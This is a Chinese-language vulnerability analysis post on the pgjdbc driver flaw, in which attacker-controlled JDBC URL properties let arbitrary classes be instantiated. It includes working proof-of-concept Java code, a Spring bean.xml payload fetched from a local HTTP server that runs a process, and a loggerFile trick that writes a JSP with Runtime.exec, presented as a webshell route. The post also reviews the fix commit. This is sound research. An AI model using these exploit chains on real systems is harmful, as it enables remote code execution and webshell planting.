前言
日常分析笔记。
正文
漏洞简介
JDBC一般指Java数据库连接。 Java数据库连接,(Java Database Connectivity,简称JDBC)是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口,提供了诸如查询和更新数据库中数据的方法。
CVE Detail:
pgjdbc is the offical PostgreSQL JDBC Driver. A security hole was found in the jdbc driver for postgresql database while doing security research. The system using the postgresql library will be attacked when attacker control the jdbc url or properties. pgjdbc instantiates plugin instances based on class names provided via `authenticationPluginClassName`, `sslhostnameverifier`, `socketFactory`, `sslfactory`, `sslpasswordcallback` connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. This can lead to code execution loaded via arbitrary classes.
pgjdbc 通过一系列连接属性来实例化相关插件,但在部分实例化过程中未验证类是否实现了预期的接口,非预期类的加载可能导致远程代码执行。
影响版本:
postgresql_jdbc_driver <42.2.25
42.3.0 <=postgresql_jdbc_driver <=42.3.1
漏洞复现
Postgresql docker环境搭建:
https://blog.csdn.net/qq\_35744706/article/details/124114995
官方文档:
https://jdbc.postgresql.org/documentation/use/
socketFactory/socketFactoryArg 代码执行
`public class test {` `public static void main(String[] args) throws SQLException {` `String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";` `String socketFactoryArg = "http://127.0.0.1:4444/bean.xml";` `String jdbcUrl = "jdbc:postgresql://localhost:5432/postgres?socketFactory="+socketFactoryClass+ "&socketFactoryArg="+socketFactoryArg;``// String testURL = "jdbc:postgresql://localhost:5432/postgres?socketFactory=";` `System.out.println("PostgreSQL Driver Version: " + org.postgresql.Driver.class.getPackage().getImplementationVersion());` `Connection connection = DriverManager.getConnection(jdbcUrl);``// Connection test_connection = DriverManager.getConnection(testURL,"postgres","password");` `}``}`
将参数置空找到其Exception抛出的位置:
很明显SocketFactoryFactory通过getSocketFactory方法尝试加载Properties中的socketFactoryClassName,将断点打到下一步的实例化方法处填入URL重新调试:
调用栈如下:
跟进instantiate方法:
`public static Object instantiate(String classname, Properties info, boolean tryString, String stringarg) throws ClassNotFoundException, SecurityException, NoSuchMethodException, IllegalArgumentException, InstantiationException, IllegalAccessException, InvocationTargetException {` `Object[] args = new Object[]{info};` `Constructor<?> ctor = null;` `Class cls = Class.forName(classname);`` ` `try {` `ctor = cls.getConstructor(Properties.class);` `} catch (NoSuchMethodException var9) {` `}`` ` `if (tryString && ctor == null) {` `try {` `ctor = cls.getConstructor(String.class);` `args = new String[]{stringarg};` `} catch (NoSuchMethodException var8) {` `}` `}`` ` `if (ctor == null) {` `ctor = cls.getConstructor();` `args = new Object[0];` `}`` ` `return ctor.newInstance((Object[])args);``}`
可以看到实例化的条件为,该类需存在传入参数类型为Properties或String的构造方法:
`org.springframework.context.support.ClassPathXmlApplicationContext``org.springframework.context.support.FileSystemXmlApplicationContext``org.apache.commons.jxpath.functions.ConstructorFunction``org.apache.commons.jxpath.functions.MethodFunction``java.io.FileOutputStream`
Weblogic环境下可使用
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
`bean.xml:``<beans xmlns="http://www.springframework.org/schema/beans"` `xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"` `xmlns:p="http://www.springframework.org/schema/p"` `xsi:schemaLocation="http://www.springframework.org/schema/beans` `http://www.springframework.org/schema/beans/spring-beans.xsd">` `<!-- 普通方式创建类-->` `<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">` `<constructor-arg>` `<list>` `<value>open</value>` `<value>-a</value>` `<value>calculator</value>` `</list>` `</constructor-arg>` `</bean>``</beans>`
之前看xml的时候园长提到xml文件的读取其实与文件后缀无关,处理的其实是响应体中的流内容,所以无论是bean.txt还是bean与bean.xml都一样:
`String jdbcUrl = "jdbc:postgresql://localhost:5432/postgres?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:4444/bean";``String jdbcUrl = "jdbc:postgresql://localhost:5432/postgres?socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://127.0.0.1:4444/bean"``Connection connection = DriverManager.getConnection(jdbcUrl);`
先知上有位师傅的流程图画的很详细:
https://xz.aliyun.com/t/11812#toc-4
sslfactory/sslfactoryarg 代码执行
`public class test2 {`` ` `public static void main(String[] args) throws SQLException {` `String SSLFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";` `String SSLFactoryClass2 = "org.springframework.context.support.FileSystemXmlApplicationContext";` `String SSLFactoryArg = "http://127.0.0.1:4444/bean.txt";` `String jdbcUrl = "jdbc:postgresql://localhost:5432/postgres?sslfactory="+SSLFactoryClass+ "&sslfactoryarg="+SSLFactoryArg;` `String testURL = "jdbc:postgresql://localhost:5432/postgres?sslfactory=";` `System.out.println("PostgreSQL Driver Version: " + org.postgresql.Driver.class.getPackage().getImplementationVersion());` `Connection connection = DriverManager.getConnection(jdbcUrl);``// Connection test_connection = DriverManager.getConnection(testURL,"postgres","password");` `}``}`
根据描述猜测此处建立连接时会尝试实例化一个SSLSocketFactory对象来处理此次请求。
同样置空url查看报错函数位置:
在Driver类的connect方法中,找到正常逻辑下调用的makeConnection方法打下断点重新调试:
一路step到ConnectionFactoryImpl.tryConnect()中调用enableSSL方法,当收到的第一个字节为"S"时,继续进入下一步的MakeSSL.convert(pgStream, info)否则则抛出异常:
`private PGStream enableSSL(PGStream pgStream, SslMode sslMode, Properties info, int connectTimeout) throws IOException, PSQLException {` `if (sslMode == SslMode.DISABLE) {` `return pgStream;` `} else if (sslMode == SslMode.ALLOW) {` `return pgStream;` `} else {` `LOGGER.log(Level.FINEST, " FE=> SSLRequest");` `pgStream.sendInteger4(8);` `pgStream.sendInteger2(1234);` `pgStream.sendInteger2(5679);` `pgStream.flush();` `int beresp = pgStream.receiveChar();` `switch(beresp) {` `case 69:` `LOGGER.log(Level.FINEST, " <=BE SSLError");` `if (sslMode.requireEncryption()) {` `throw new PSQLException(GT.tr("The server does not support SSL.", new Object[0]), PSQLState.CONNECTION_REJECTED);` `}`` ` `return new PGStream(pgStream, connectTimeout);` `case 78:` `LOGGER.log(Level.FINEST, " <=BE SSLRefused");` `if (sslMode.requireEncryption()) {` `throw new PSQLException(GT.tr("The server does not support SSL.", new Object[0]), PSQLState.CONNECTION_REJECTED);` `}`` ` `return pgStream;` `case 83:` `LOGGER.log(Level.FINEST, " <=BE SSLOk");` `MakeSSL.convert(pgStream, info);` `return pgStream;` `default:` `throw new PSQLException(GT.tr("An error occurred while setting up the SSL connection.", new Object[0]), PSQLState.PROTOCOL_VIOLATION);` `}` `}``}`
监听该端口返回"S",跟进convert方法:
后续会进入到getSslSocketFactory同样使用ObjectFactory.instantiate()进行实例化就不赘述了
同样附上这位师傅的流程图:
https://xz.aliyun.com/t/11812#toc-4
loggerLevel/loggerFile 任意文件写入
原本是用于控制日志的输出,由于未严格校验用户输入导致任意文件写入(需要有可连接的PostgreSQL库环境):
`public class test3 {`` ` `public static void main(String[] args) throws SQLException {` `String jdbcUrl = "jdbc:postgresql://localhost:5432/postgres?<%Runtime.getRuntime().exec(\"open -a calculator\");%>=1&loggerLevel=TRACE&loggerFile=/xxx.../123.jsp";` `System.out.println("PostgreSQL Driver Version: " + org.postgresql.Driver.class.getPackage().getImplementationVersion());` `Connection connection = DriverManager.getConnection(jdbcUrl);``// Connection test_connection = DriverManager.getConnection(testURL,"postgres","password");` `}``}`
结合Y4tacker师傅提出的URL不解参数名的特性写入一句话webshell(yyds):
漏洞修复:
https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813
代码执行:
在实例化类时会校验传入的类名是否为期望类:
默认方法虽也可获取构造函数,但传入的args部分并不可控:
文件写入:
目前已不支持该字段,改用java.util.logging来处理日志相关事项。
后记
两位师傅的文章写的很完整了,建议阅读:
https://xz.aliyun.com/t/11812#toc-5
http://tttang.com/archive/1462/#toc\_0x02-postgresql-jdbc-driver